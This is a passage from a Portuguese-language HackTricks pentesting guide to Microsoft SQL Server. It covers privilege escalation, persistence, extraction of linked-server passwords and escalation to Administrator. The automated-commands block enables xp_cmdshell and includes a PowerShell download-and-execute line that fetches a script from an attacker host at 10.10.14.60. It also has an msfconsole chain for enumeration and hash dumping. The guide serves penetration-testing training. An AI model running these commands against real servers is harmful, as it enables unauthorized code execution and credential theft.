ou com um script **PS**:
|
|||
|
```powershell
|
|||
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
|||
|
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
|||
|
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
|||
|
```
|
|||
|
## Usando MSSQL para Persistência
|
|||
|
|
|||
|
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
|||
|
|
|||
|
## Extraindo senhas de Servidores Vinculados do SQL Server
|
|||
|
|
|||
|
Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para adquirir uma maior presença no alvo. O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
|||
|
|
|||
|
Alguns requisitos e configurações devem ser feitos para que essa exploração funcione. Primeiro de tudo, você deve ter direitos de Administrador na máquina ou a capacidade de gerenciar as Configurações do SQL Server.
|
|||
|
|
|||
|
Após validar suas permissões, você precisa configurar três coisas, que são as seguintes:
|
|||
|
|
|||
|
1. Habilitar TCP/IP nas instâncias do SQL Server;
|
|||
|
2. Adicionar um parâmetro de Inicialização, neste caso, uma flag de rastreamento será adicionada, que é -T7806.
|
|||
|
3. Habilitar conexão remota de administrador.
|
|||
|
|
|||
|
Para automatizar essas configurações, [este repositório](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tem os scripts necessários. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
|
|||
|
|
|||
|
Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
|||
|
|
|||
|
[Resolvendo Problemas com a Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
|||
|
|
|||
|
## Escalação de Privilégios Local
|
|||
|
|
|||
|
O usuário que executa o servidor MSSQL terá habilitado o token de privilégio **SeImpersonatePrivilege.**\
|
|||
|
Você provavelmente conseguirá **escalar para Administrador** seguindo uma dessas 2 páginas:
|
|||
|
|
|||
|
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
|||
|
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
|
|||
|
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
## Shodan
|
|||
|
|
|||
|
* `port:1433 !HTTP`
|
|||
|
|
|||
|
## Referências
|
|||
|
|
|||
|
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
|||
|
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
|||
|
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|||
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
|||
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
|||
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
|||
|
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
|||
|
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
|||
|
* [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
|||
|
|
|||
|
## Comandos Automáticos HackTricks
|
|||
|
```
|
|||
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
|||
|
Port_Number: 1433 #Comma separated if there is more than one.
|
|||
|
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
|
|||
|
|
|||
|
Entry_1:
|
|||
|
Name: Notes
|
|||
|
Description: Notes for MSSQL
|
|||
|
Note: |
|
|||
|
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
|
|||
|
|
|||
|
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
|
|||
|
|
|||
|
###the goal is to get xp_cmdshell working###
|
|||
|
1. try and see if it works
|
|||
|
xp_cmdshell `whoami`
|
|||
|
go
|
|||
|
|
|||
|
2. try to turn component back on
|
|||
|
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
|||
|
reconfigure
|
|||
|
go
|
|||
|
xp_cmdshell `whoami`
|
|||
|
go
|
|||
|
|
|||
|
3. 'advanced' turn it back on
|
|||
|
EXEC SP_CONFIGURE 'show advanced options', 1
|
|||
|
reconfigure
|
|||
|
go
|
|||
|
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
|||
|
reconfigure
|
|||
|
go
|
|||
|
xp_cmdshell 'whoami'
|
|||
|
go
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
|
|||
|
|
|||
|
|
|||
|
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
|
|||
|
|
|||
|
Entry_2:
|
|||
|
Name: Nmap for SQL
|
|||
|
Description: Nmap with SQL Scripts
|
|||
|
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
|
|||
|
|
|||
|
Entry_3:
|
|||
|
Name: MSSQL consolesless mfs enumeration
|
|||
|
Description: MSSQL enumeration without the need to run msfconsole
|
|||
|
Note: sourced from https://github.com/carlospolop/legion
|
|||
|
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
|
|||
|
|
|||
|
```
|
|||
|
{% hint style="success" %}
|
|||
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Suporte ao HackTricks</summary>
|
|||
|
|
|||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|